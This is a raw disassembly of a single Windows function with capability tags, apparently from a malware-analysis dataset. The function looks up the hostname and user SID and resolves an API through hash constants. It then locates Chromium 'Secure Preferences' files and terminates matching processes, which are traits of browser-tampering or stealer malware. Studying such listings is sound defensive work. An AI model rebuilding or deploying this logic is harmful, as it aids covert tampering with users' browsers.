Function at 0x4130f0
Capabilities:
Check if file exists
Enumerate processes
Get file attributes
Get hostname
Get user security identifier
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4302f3
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x5c8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x5b8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2a4], xmm0
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x290], 0xf
mov byte [ebp - 0x2a4], 0
lea eax, [ebp - 0x254]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x254], 0x10
push eax
movups xmmword [ebp - 0x34], xmm0
movups xmmword [ebp - 0x24], xmm0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x41329f
push pe_nt_image_headers32
mov dword [ebp - 0x25c], 0x44
mov dword [ebp - 0x380], 0x80
call fcn.00418033
mov edi, eax
add esp, 4
mov esi, edi
mov dword [ebp - 0x244], esi
lea eax, [ebp - 0x258]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x380]
mov dword [ebp - 0x5b4], edi
push eax
push edi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
jne 0x413270
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x41320b
push edi
jmp 0x413297
mov eax, dword [ebp - 0x380]
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00418033
add esp, 4
mov esi, eax
mov dword [ebp - 0x5b4], esi
mov dword [ebp - 0x244], esi
push edi
call fcn.0041802e
add esp, 4
lea eax, [ebp - 0x258]
mov edi, esi
push eax
lea eax, [ebp - 0x380]
push eax
push esi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x413296
lea eax, [ebp - 0x37c]
mov dword [ebp - 0x37c], 0
push eax
lea eax, [ebp - 0x2f0]
push eax
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidA]
test eax, eax
jne 0x4132dc
test edi, edi
je 0x41329f
push esi
call fcn.0041802e
add esp, 4
mov ecx, dword [ebp - 0x290]
cmp ecx, 0xf
jbe 0x413a7b
mov edx, dword [ebp - 0x2a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413a71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413a99
jmp 0x413a71
mov edx, dword [ebp - 0x37c]
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4132e7
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x2a4]
call fcn.004100d0
push dword [ebp - 0x37c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x5b4], 0
mov byte [ebp - 4], 0
je 0x41331f
push esi
call fcn.0041802e
add esp, 4
xor edi, edi
mov dword [ebp - 0x37c], edi
lea eax, [ebp - 0x240]
mov ecx, 0x43c8cc
push eax
push 0
push 0
push dword [edi + ecx]
mov ecx, 5
push 0
push 0x7b1e661e
push 0xd74cca2c
call fcn.00410fc0
add esp, 8
call eax
test eax, eax
js 0x413a5a
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413380
sub ecx, edx
lea eax, [ebp - 0x240]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.004040b0
mov byte [ebp - 4], 2
lea edx, [ebp - 0x2c]
push dword [edi + 0x43c8c0]
lea ecx, [ebp - 0x274]
call fcn.004170b0
add esp, 4
cmp dword [ebp - 0x260], 7
lea eax, [ebp - 0x274]
cmova eax, dword [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4139c4
test al, 0x10
je 0x4139c4
cmp dword [ebp - 0x260], 7
lea edx, [ebp - 0x274]
xorps xmm0, xmm0
mov dword [ebp - 0x2f8], 0
cmova edx, dword [ebp - 0x274]
xor eax, eax
movups xmmword [ebp - 0x308], xmm0
mov dword [ebp - 0x2f4], 7
mov word [ebp - 0x308], ax
mov ecx, edx
mov byte [ebp - 4], 4
movups xmmword [ebp - 0x2f0], xmm0
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], eax
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413440
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x2f0]
call fcn.004040b0
xorps xmm0, xmm0
mov dword [ebp - 0x2c8], 0
xor eax, eax
mov dword [ebp - 0x2c4], 7
movups xmmword [ebp - 0x2d8], xmm0
mov word [ebp - 0x2d8], ax
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], 7
mov word [ebp - 0x2c0], ax
movq qword [ebp - 0x250], xmm0
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x248], eax
lea eax, [ebp - 0x250]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x308]
call fcn.004022b0
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x254], ecx
cmp eax, ecx
je 0x413939
nop word [eax + eax]
xorps xmm0, xmm0
xor edi, edi
mov esi, 0xf
mov dword [ebp - 0x27c], edi
movups xmmword [ebp - 0x28c], xmm0
mov dword [ebp - 0x278], esi
mov byte [ebp - 0x28c], 0
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x37c]
cmp byte [ecx + 0x43c8d0], 0
je 0x4135dc
lea eax, [ebp - 0x5d0]
push eax
lea ecx, [ebp - 0x308]
call fcn.00401fc0
lea ecx, [ebp - 0x28c]
cmp ecx, eax
je 0x413583
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x27c], xmm0
mov dword [eax + 0x10], edi
mov edi, dword [ebp - 0x27c]
mov dword [eax + 0x14], esi
mov esi, dword [ebp - 0x278]
mov byte [eax], 0
mov ecx, dword [ebp - 0x5bc]
cmp ecx, 0xf
jbe 0x4135bd
mov edx, dword [ebp - 0x5d0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4135b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413a99
push ecx
push edx
call fcn.00417ffd
add esp, 8
test edi, edi
jne 0x4135d6
mov byte [ebp - 4], 6
cmp esi, 0xf
jbe 0x41390c
lea ecx, [esi + 1]
jmp 0x4138de
mov eax, dword [ebp - 0x380]
push eax
lea ecx, [ebp - 0x5d0]
mov byte [ebp - 4], 8
call fcn.00402e30
or dword [ebp - 0x5b8], 1
mov eax, dword [ebp - 0x380]
mov ecx, eax
cmp dword [eax + 0x14], 7
jbe 0x413603
mov ecx, dword [eax]
mov eax, dword [eax + 0x10]
cmp word [ecx + eax*2 - 2], 0x5c
je 0x41365b
mov ecx, dword [ebp - 0x5c0]
mov edx, dword [ebp - 0x5bc]
cmp ecx, edx
jae 0x413640
lea eax, [ecx + 1]
cmp edx, 7
mov dword [ebp - 0x5c0], eax
lea eax, [ebp - 0x5d0]
cmova eax, dword [ebp - 0x5d0]
mov dword [eax + ecx*2], 0x5c
jmp 0x41365b
push 0x5c
mov byte [ebp - 0x258], 0
push dword [ebp - 0x258]
push ecx
lea ecx, [ebp - 0x5d0]
call fcn.004178b0
push str.Secure_Preferences
lea ecx, [ebp - 0x5d0]
call fcn.00416420
mov ecx, dword [ebp - 0x37c]
mov eax, dword [ecx + 0x43c8c8]
mov dword [ebp - 0x244], eax
push 0
lea ecx, [ebp - 0x378]
mov byte [ebp - 4], 9
call fcn.00403250
lea eax, [ebp - 0x5d0]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x368]
call fcn.00402e30
xorps xmm0, xmm0
mov dword [ebp - 0x340], 0
movups xmmword [ebp - 0x350], xmm0
mov dword [ebp - 0x33c], 0xf
mov byte [ebp - 0x350], 0
movups xmmword [ebp - 0x338], xmm0
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 0xf
mov byte [ebp - 0x338], 0
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x244]
mov ecx, edx
movups xmmword [ebp - 0x320], xmm0
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x244], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413720
sub ecx, dword [ebp - 0x244]
push ecx
push edx
lea ecx, [ebp - 0x320]
call fcn.004041b0
and dword [ebp - 0x5b8], 0xfffffffe
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x5bc]
cmp ecx, 7
jbe 0x413785
mov edx, dword [ebp - 0x5d0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41377b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413a99
push ecx
push edx
call fcn.00417ffd
add esp, 8
xor eax, eax
mov dword [ebp - 0x5c0], 0
mov word [ebp - 0x5d0], ax
lea ecx, [ebp - 0x350]
cmp esi, 0xf
mov dword [ebp - 0x5bc], 7
lea eax, [ebp - 0x28c]
cmova eax, dword [ebp - 0x28c]
push edi
push eax
call fcn.004100d0
cmp dword [ebp - 0x290], 0xf
lea eax, [ebp - 0x2a4]
push dword [ebp - 0x294]
cmova eax, dword [ebp - 0x2a4]
lea ecx, [ebp - 0x338]
push eax
call fcn.004100d0
lea ecx, [ebp - 0x378]
call fcn.00412420
test al, al
je 0x4138c3
push dword [ebp - 0x5d4]
lea ecx, [ebp - 0x378]
call fcn.00412600
mov eax, dword [ebp - 0x37c]
push 0x228
push 0
mov esi, dword [eax + 0x43c8c4]
lea eax, [ebp - 0x5ac]
push eax
mov dword [ebp - 0x5b4], esi
call fcn.00419500
add esp, 0xc
mov dword [ebp - 0x5b0], 0x22c
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4138b8
lea eax, [ebp - 0x5b0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4138b8
nop
lea eax, [ebp - 0x58c]
push esi
push eax
call fcn.00422a81
add esp, 8
test eax, eax
jne 0x41389f
push dword [ebp - 0x5a8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x413899
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x5b4]
lea eax, [ebp - 0x5b0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x413860
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x378]
call fcn.00412f00
lea ecx, [ebp - 0x378]
call fcn.004118b0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x278]
cmp ecx, 0xf
jbe 0x41390c
inc ecx
mov edx, dword [ebp - 0x28c]
mov eax, edx
cmp ecx, 0x1000
jb 0x413902
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413a99
push ecx
push edx
call fcn.00417ffd
add esp, 8
mov eax, dword [ebp - 0x380]
add eax, 0x18
mov dword [ebp - 0x380], eax
cmp eax, dword [ebp - 0x254]
jne 0x413500
mov ecx, dword [ebp - 0x24c]
mov eax, dword [ebp - 0x250]
mov edi, dword [ebp - 0x37c]
mov byte [ebp - 4], 5
test eax, eax
je 0x4139b9
push ecx
mov edx, ecx
mov ecx, eax
call fcn.0040bb60
mov ecx, dword [ebp - 0x248]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x250]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x413991
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413a99
push ecx
push esi
call fcn.00417ffd
add esp, 8
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 0
lea ecx, [ebp - 0x308]
call fcn.004017e0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x260]
cmp ecx, 7
jbe 0x413a08
mov edx, dword [ebp - 0x274]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4139fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413a99
push ecx
push edx
call fcn.00417ffd
add esp, 8
xor eax, eax
mov byte [ebp - 4], al
mov ecx, dword [ebp - 0x18]
mov word [ebp - 0x274], ax
mov dword [ebp - 0x260], 7
mov dword [ebp - 0x264], eax
cmp ecx, 7
jbe 0x413a5a
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x413a50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413a99
push ecx
push edx
call fcn.00417ffd
add esp, 8
add edi, 0x14
mov dword [ebp - 0x37c], edi
cmp edi, 0x50
jae 0x41329f
jmp 0x413327
push ecx
push edx
call fcn.00417ffd
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00417fbf
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00422715
int3